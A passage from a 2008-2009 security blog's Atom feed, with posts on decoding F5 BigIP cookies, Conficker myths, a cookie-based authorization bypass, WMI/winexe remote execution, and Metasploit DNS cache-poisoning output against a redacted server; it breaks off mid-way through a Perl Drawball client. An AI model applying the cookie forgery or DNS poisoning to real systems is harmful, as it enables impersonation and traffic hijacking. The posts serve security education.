href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5415945885020903309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5415945885020903309'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/06/random-iphone-thought.html' title='Random iPhone thought...'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-8755795158283982193</id><published>2009-06-11T15:29:00.002-04:00</published><updated>2009-06-11T15:31:29.675-04:00</updated><title type='text'>Decode F5 BigIP cookie in one line of Perl</title><content type='html'>BigIPcookie = 673059850.20480.0000&lt;br /&gt;&lt;br /&gt;echo 673059850.20480.0000 | perl -ne'print join ".", map {hex} reverse ((sprintf "%08x", split /\./, $_) =~ /../g);'&lt;br /&gt;&lt;br /&gt;10.20.30.40&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-8755795158283982193?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/8755795158283982193/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=8755795158283982193' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8755795158283982193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8755795158283982193'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/06/decode-f5-bigip-cookie-in-one-line-of.html' title='Decode F5 BigIP cookie in one line of Perl'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-1022153618330383253</id><published>2009-05-27T16:28:00.001-04:00</published><updated>2009-05-27T16:33:32.198-04:00</updated><title type='text'>My Take on Enterprise Vulnerability Assessment</title><content type='html'>I wrote this in an email today, thought I would clean it up and re-post here. It's in response to the question "why not use an open source vulnerability scanner?" I realize it reads a bit like an ad for QualysGuard. I really like QualysGuard though. (Err, also no offense to Tenable. I like you guys just fine, you know, as people.)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;The only free product in this space that’s considered “enterprise class” is Nessus. (As of Nessus 3, the license is no longer “open source”. Free as in beer.) The problem is there’s no central management. In fact, Tenable sells a commercial management system for enterprise Nessus use for that very reason. I’ve looked into Nessus/SecurityCenter in the past, and found the interface to be barely usable and the false positive rate through the roof… basically it was nearly impossible to get actionable information out of it. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;My opinion is that we want to go with a solution that allows us not only to check the compliance checkbox, but to actually improve our overall security posture. Any vulnerability management program really comes down to the processes in place to prioritize and remediate identified issues, but for that to work, the process needs to be fed good, actionable information. Qualys is the best solution to provide that.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: arial;"&gt;From an operator’s standpoint, Qualys is the easiest solution to manage. This is important once you are scanning more than a small network, because unless you’re able to organize, it’s really difficult to accurately classify assets and report on vulnerabilities. Again, it’s a matter of getting the right information, and then getting it to the right people.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: arial;"&gt;I’m a big fan of open source/free software when appropriate, but I’ve found that for most security applications, open source lags pretty far behind. The big name open source security products generally have a commercial enterprise component for management of larger installations (Tripwire, Snort), and for good reason. Once you’re beyond a very small target network, the volume of information is such that it’s really impossible to get any useful information out if there’s no central management, reporting, etc.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-1022153618330383253?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/1022153618330383253/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=1022153618330383253' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1022153618330383253'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1022153618330383253'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/05/my-take-on-enterprise-vulnerability.html' title='My Take on Enterprise Vulnerability Assessment'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-6997936414120439106</id><published>2009-03-23T16:14:00.002-04:00</published><updated>2009-03-23T16:50:56.611-04:00</updated><title type='text'>Conficker: Fact or Fiction</title><content type='html'>The web-o-sphere is abuzz with news that Conficker.C (a.k.a. Downadup.C) is preparing to implement its new update scheme on April 1, or as one article so sensationally put it, "No Joke - Conficker Worm set to explode on April Fool's Day!" All the trolls are out, and it's clear that there's a generally poor understanding of the issue out there. This post is an attempt on my part to correct some of the myths, to the best of my ability. Comments are appreciated.&lt;br /&gt;&lt;br /&gt;Fiction: This is easy to fix! Take down the command and control machine and/or infiltrate the botnet and upload self-destruct code and/or create a white hat worm to repair infections!&lt;br /&gt;&lt;br /&gt;1. There IS no C&amp;amp;C. Updates are propagated through a (newly) robust P2P mechanism. It does rely upon communicating with a predetermined domain name generated by date. Until revision C, this was a list of 250 domains per day, which were eventually prevented from being used by &lt;a href="http://www.confickercabal.com/"&gt;the good guys.&lt;/a&gt; Unfortunately, the newest update expands the space to 50,000 domain names per day, which is effectively logistically impossible to control.&lt;br /&gt;2. Infected hosts will not execute arbitrary code. All updates are digitally signed with a key known only to the authors.&lt;br /&gt;3. &lt;a href="http://en.wikipedia.org/wiki/Welchia"&gt;That's worked real well before.&lt;/a&gt; The idea is generally agreed to be ethically ambiguous, of dubious effectiveness, and most definitely illegal.&lt;br /&gt;&lt;br /&gt;Fiction: April 1 we are all doomed!&lt;br /&gt;&lt;br /&gt;Fact: &lt;a href="http://en.wikipedia.org/wiki/Michelangelo_%28computer_virus%29"&gt;Shades of Michelangelo!&lt;/a&gt; The fact is that the Conficker botnet does have the potential to cause some pretty severe damage on April 1. The more likely scenario, though, is that if it does anything at all on that date, it'll be another update that provides it with additional functionality. The end is (probably) not near. In the long run, this system is more likely to be used for blackhat money-making activites rather than some Internet-ending attack. I don't mean to minimize the damage potential, but I don't think it's time to panic and unplug everything from the network on April 1.&lt;br /&gt;&lt;br /&gt;Fiction: Buy a Mac (Linux, BSD, Commodore 64, etc.)&lt;br /&gt;&lt;br /&gt;Fact: It seems like the smug, self-satisfied Mac and Linux users can't hit the keys fast enough on this one. Ok, so the fact is that this particular malware does not target any non-Windows OS. This in no way proves the numerous comments that Mac and Linux systems are virus-immune. Market share is the key here. There's no real gain to be had by a malware author who infects some small percentage of what's already a small percentage of installed user base. If there's one thing NOT to take out of this, it's that "Macs are more secure."&lt;br /&gt;&lt;br /&gt;Fiction: This seems bad. I am worried about my own computer.&lt;br /&gt;&lt;br /&gt;Fact: If you're aware that Conficker exists, you're probably adequately protected. It would be a rare case where a regularly-updated system with working antivirus would be a victim of this malware. The systems being compromised are probably not yours. Sure, definitely check for it. But you should be worrying a lot more about the threat FROM other people's computers.&lt;br /&gt;&lt;br /&gt;To close out, the fact is that whoever is behind this monster has proven to be very technically competent and pretty well on top of their game. Fact is, nobody really knows what they are up to. I don't think there's any cause for panic, but the Conficker botnet is essentially an incredibly powerful illegal supercomputer, and very well could be used to cause some serious damage. It's important to be diligent while keeping perspective.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-6997936414120439106?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/6997936414120439106/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=6997936414120439106' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/6997936414120439106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/6997936414120439106'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/03/conficker-fact-or-fiction.html' title='Conficker: Fact or Fiction'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-272191605966099841</id><published>2009-03-20T17:50:00.002-04:00</published><updated>2009-03-20T17:51:06.488-04:00</updated><title type='text'>In a nutshell...</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SYE2yJ9M5jQ/ScQPwwDtmcI/AAAAAAAAABk/uiIluYcwKN4/s1600-h/image001.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 280px; height: 258px;" src="http://3.bp.blogspot.com/_SYE2yJ9M5jQ/ScQPwwDtmcI/AAAAAAAAABk/uiIluYcwKN4/s400/image001.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5315390790412638658" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-272191605966099841?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/272191605966099841/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=272191605966099841' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/272191605966099841'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/272191605966099841'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/03/in-nutshell.html' title='In a nutshell...'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_SYE2yJ9M5jQ/ScQPwwDtmcI/AAAAAAAAABk/uiIluYcwKN4/s72-c/image001.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-4602865619003999288</id><published>2008-12-11T21:30:00.000-05:00</published><updated>2008-12-11T21:30:00.599-05:00</updated><title type='text'>Never trust a cookie</title><content type='html'>Let's say you're testing a web app, and you notice that in addition to a standard JSESSIONID, it sets 3 additional cookies:&lt;br /&gt;XXSessionID&lt;br /&gt;XXSessionUser&lt;br /&gt;XXSessionEmpno&lt;br /&gt;&lt;br /&gt;If you're like me, you get a little excited when you notice that the last two contain the username and employee number of the logged in user. Any time an application is storing identifiable information in a cookie, there's a good chance it's a disaster waiting to happen. The fact is that if it's being stored there, it's being used somewhere, and chances are it's not being revalidated before being used.&lt;br /&gt;&lt;br /&gt;So, like a good little security gnome, I change the username and ID number to "not mine", and sure enough, I am now somebody else. Authorization problems like this are unfortunately incredibly common. Many apps are very strict about making sure you authenticate, but once you've done so, forget to check that you are authorized to the resources you access.&lt;br /&gt;&lt;br /&gt;But wait! Do I even need to authenticate in the first place to exploit this? Let's see... *type type type* No luck. As it should be, the app is checking the session ID to make sure I'm at least logged in as SOMEBODY. I guess that's good. &lt;br /&gt;&lt;br /&gt;Oh, wait...turns out it just checks for the existence of the session ID cookie. As long as I put any bogus value in the XXSessionID cookie, I can specify any user's username and employee ID in the XXSessionUser and XXSessionEmpno cookies without having to log in.&lt;br /&gt;&lt;br /&gt;Lessons learned:&lt;br /&gt;1. Use your built-in session management tools.&lt;br /&gt;2. Store session state information server-side.&lt;br /&gt;3. Never trust a cookie.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-4602865619003999288?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/4602865619003999288/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=4602865619003999288' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/4602865619003999288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/4602865619003999288'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/12/never-trust-cookie.html' title='Never trust a cookie'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-8257903487381276575</id><published>2008-11-03T09:11:00.000-05:00</published><updated>2008-11-03T09:12:25.198-05:00</updated><title type='text'>Vote.</title><content type='html'>&lt;a href="http://insultswordfighting.blogspot.com/2008/11/must-play-game-of-year.html"&gt;From Mitch&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;In the movie WarGames, the computer realizes that the only way to win a nuclear war is not to play. Voting is the opposite: the only way to lose is not to play. So please go out there tomorrow and cast your ballot for whatever candidate you think is the best choice, based on their stated policies. Every election is important, and this one is no different. Nothing else you do all year will matter as much.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-8257903487381276575?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/8257903487381276575/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=8257903487381276575' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8257903487381276575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8257903487381276575'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/11/vote.html' title='Vote.'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-180056295733264092</id><published>2008-10-29T14:31:00.004-04:00</published><updated>2008-10-29T14:48:49.589-04:00</updated><title type='text'>Instinctive threat modeling</title><content type='html'>A friend of mine sent me a link to a new site today, and, as tends to happen, my mind immediately turned to "how could this be broken?"&lt;br /&gt;&lt;br /&gt;In this particular case, what interested me was a field that allowed an unauthenticated user to add an arbitrary subdomain to the site, as in &amp;lt;user input&amp;gt;.thedomain.com.&lt;br /&gt;&lt;br /&gt;Depending on how the process occurs, something as simple and common as CRLF injection could potentially be a serious hole here.&lt;br /&gt;&lt;br /&gt;It occurs to me that this ability to instinctively identify where the potential biggest holes are, before even beginning testing, is a fairly important skill for a security professional. I firmly believe that having a well-rounded technology background is the key to this. In the case of this particular site, I had to tap into experience with:&lt;br /&gt;1. Web development&lt;br /&gt;2. DNS protocol and software&lt;br /&gt;3. Common web site security flaws&lt;br /&gt;&lt;br /&gt;There are certain flaws that a security person with the right background can identify just by understanding the thought processes of a developer or a sysadmin, along with a solid grasp on "how it works". One great example is the &lt;a href="http://www.doxpara.com/?p=1185"&gt;DNS flaw discovered by Dan Kaminsky&lt;/a&gt; earlier this summer. Ultimately an incredibly simple flaw that, once revealed, seemed painstakingly obvious to anyone with an understanding of how DNS works. But it took someone like Dan with a very deep, practical knowledge of DNS along with an advanced &lt;a href="http://www.wired.com/politics/security/commentary/securitymatters/2008/03/securitymatters_0320"&gt;security mindset&lt;/a&gt; to put all the pieces together.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-180056295733264092?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/180056295733264092/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=180056295733264092' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/180056295733264092'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/180056295733264092'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/10/instinctive-threat-modeling.html' title='Instinctive threat modeling'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-3087253090012314702</id><published>2008-10-06T16:32:00.003-04:00</published><updated>2008-10-06T16:38:58.582-04:00</updated><title type='text'>WMI/DCOM from Linux</title><content type='html'>Don't know why this was so tough to Google for, but the solution for WMI queries to a Windows box from Linux is &lt;a href="http://dev.zenoss.com/trac/browser/trunk/wmi"&gt;right here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;From the README:&lt;br /&gt;&lt;pre&gt;DCOM/WMI client implementation for Linux.&lt;br /&gt;    andrzej.hajda@wp.pl, 2006-2007&lt;br /&gt;&lt;br /&gt;ABOUT&lt;br /&gt;&lt;br /&gt;This implementation of DCOM/WMI client is based on Samba4 sources.&lt;br /&gt;It uses RPC/DCOM mechanism to interact with WMI services on&lt;br /&gt;Windows 2000/XP/2003 machines.&lt;br /&gt;It contains also winexe - program to remote execution Windows commands remotely from Linux box.&lt;br /&gt;Additional info about winexe at http://eol.ovh.org/winexe/.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;  bin/wmic - WMI simple client, it queries server using ExecQuery WMI method,&lt;br /&gt;         sample usage:&lt;br /&gt;            wmic -U domain/user%password //host "select Name from Win32_Process"&lt;br /&gt;         Program is at early stage of development and there are many bugs.&lt;br /&gt;         To retrieve more debug info use switch "-d number", where bigger number&lt;br /&gt;         corresponds to bigger output (I am using "-d 99" :) )&lt;br /&gt;  bin/wmis - WMI test suite. Currently it does only following things:&lt;br /&gt;        - Creates directory remotely using Win32_Process.Create("cmd.exe /C mkdir C:\wmi_test_dir_tmp").&lt;br /&gt;        - Executes ExecNotificationQuery for monitoring file create/delete events in this directory.&lt;br /&gt;        - Waits for 4 notifications and display their types.&lt;br /&gt;  wmi/_pywmi.so - Samba wrapper for python, together with wmi/pywmi.py and ../pycom/* modules can be used&lt;br /&gt;        to run zenwin on Linux.&lt;br /&gt;  bin/winexe - Remote windows commands execution.&lt;br /&gt;        Sample usage:&lt;br /&gt;            winexe -U domain/user%password //192.168.0.3 "ipconfig /all"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;WMIC, which is really what I was looking for, works great. There are also Python modules, which I haven't tried yet.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-3087253090012314702?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/3087253090012314702/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=3087253090012314702' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3087253090012314702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3087253090012314702'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/10/wmidcom-from-linux.html' title='WMI/DCOM from Linux'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-3242207851246129997</id><published>2008-08-28T10:16:00.001-04:00</published><updated>2008-08-28T10:18:36.705-04:00</updated><title type='text'></title><content type='html'>Mitch Krpata writes a fantastic video game blog called &lt;a href="http://insultswordfighting.blogspot.com/"&gt;Insult Swordfighting&lt;/a&gt;, and is a total whore for Technorati authority. So here you go! The name alone makes you want to visit! &lt;br /&gt;&lt;br /&gt;He also writes for &lt;a href="http://thephoenix.com/Authors/MITCH-KRPATA/"&gt;The Phoenix&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-3242207851246129997?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/3242207851246129997/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=3242207851246129997' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3242207851246129997'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3242207851246129997'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/08/mitch-krpata-writes-fantastic-video.html' title=''/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-7955001683242646614</id><published>2008-07-23T17:53:00.000-04:00</published><updated>2008-07-23T17:54:04.945-04:00</updated><title type='text'>Jeepers.</title><content type='html'>msf auxiliary(baliwicked_host) &gt; exploit&lt;br /&gt;[*] Targeting nameserver x.x.x.x for injection of pwned.XXX.com. as 1.3.3.7&lt;br /&gt;[*] Querying recon nameserver for XXX.com.'s nameservers...&lt;br /&gt;[*]  Got an NS record: XXX.com. 258801  IN      NS      ns1.XXX.com.&lt;br /&gt;[*] Querying recon nameserver for address of ns1.XXX.com....&lt;br /&gt;[*]  Got an A record: ns1.XXX.com.   258801   IN   A   x.x.x.x&lt;br /&gt;[*] Checking Authoritativeness: Querying x.x.x.x for XXX.com....&lt;br /&gt;[*]   ns1.XXX.com. is authoritative for XXX.com., adding to list of nameservers to spoof as&lt;br /&gt;[*] Attempting to inject a poison record for pwned.XXX.com. into x.x.x.x:34649...&lt;br /&gt;[*] Sent 1000 queries and 10000 spoofed responses...&lt;br /&gt;[*] Sent 2000 queries and 20000 spoofed responses...&lt;br /&gt;[*] Poisoning successful after 2250 attempts: pwned.XXX.com == 1.3.3.7&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$ nslookup.exe pwned.XXX.com pwned.nameserver.com&lt;br /&gt;Server:  pwned.nameserver.com&lt;br /&gt;Address:  x.x.x.x&lt;br /&gt;&lt;br /&gt;Non-authoritative answer:&lt;br /&gt;Name:    pwned.XXX.com&lt;br /&gt;Address:  1.3.3.7&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-7955001683242646614?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/7955001683242646614/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=7955001683242646614' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/7955001683242646614'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/7955001683242646614'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/07/jeepers.html' title='Jeepers.'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-2041976104598303552</id><published>2008-07-16T23:50:00.002-04:00</published><updated>2008-07-16T23:55:55.694-04:00</updated><title type='text'>Weighing in on the DNS thing...</title><content type='html'>My quick thoughts on the &lt;a href="http://www.doxpara.com/?p=1162"&gt;Kaminsky DNS thing&lt;/a&gt;, though I'm a little late to the party. Apparently &lt;a href="http://www.matasano.com/log/1093/patch-your-non-djbdns-server-now-dan-was-right-i-was-wrong/"&gt;it's a real thing&lt;/a&gt;. I spoke with someone who's lucky enough to be in the Magical Inner Circle of Truth and he agreed. &lt;br /&gt;&lt;br /&gt;I have nothing but wild speculation here. I read through the BIND source a little, and I may be barking up the wrong tree, but it looks like the resolver doesn't randomize the QID for every query. Rather, it keeps a QID pool and checks for collisions before assigning an ID. Therefore, if you were to send a large number of queries to a bogus server where they will time out, you could effectively take those QIDs out of play. If this is a server you control, you are then able to drastically reduce the search space, since you know which QIDs you don't have to try.&lt;br /&gt;&lt;br /&gt;Just a thought.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-2041976104598303552?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/2041976104598303552/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=2041976104598303552' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2041976104598303552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2041976104598303552'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2008/07/weighing-in-on-dns-thing.html' title='Weighing in on the DNS thing...'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-8197390114798104138</id><published>2008-06-20T10:13:00.003-04:00</published><updated>2008-06-20T15:26:00.666-04:00</updated><title type='text'>Drawball code</title><content type='html'>Looks like a lot of people are showing up here looking for the &lt;a href="http://tylerkrpata.blogspot.com/2007/05/reversing-drawball.html"&gt;Drawball information I posted last year&lt;/a&gt;. Here's some crummy Perl code that might help you get started. All it does is connect to the server every second and check how much ink you've got, as an integer value.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;use IO::Socket::Inet;&lt;br /&gt;use LWP::Simple;&lt;br /&gt;use strict;&lt;br /&gt;&lt;br /&gt;$/ = "\x00";&lt;br /&gt;my $sock = IO::Socket::INET-&gt;new('70.84.35.114:8007') or die "Could not connect\n";&lt;br /&gt;handshake();&lt;br /&gt;&lt;br /&gt;while($sock) {&lt;br /&gt;    if(my $ink = getink()) {&lt;br /&gt;        printf "ink: %08x\n", $ink;&lt;br /&gt;    }&lt;br /&gt;    sleep 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub getink {&lt;br /&gt;    print $sock "i\x00";&lt;br /&gt;    my $i = &lt;$sock&gt;;&lt;br /&gt;    my $numink = undef;&lt;br /&gt;    if($i =~ /^i(\x01.{3})\x00/) {&lt;br /&gt;        $numink = unpack "N", $1;&lt;br /&gt;    } &lt;br /&gt;    return $numink;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub handshake {&lt;br /&gt;    my ($seed) = (get "http://www.drawball.com") =~ /l=(.{7})/;&lt;br /&gt;    print $sock "$seed\x00";&lt;br /&gt;    my $chal = &lt;$sock&gt;; &lt;br /&gt;    my $resp = decode($seed, $chal);&lt;br 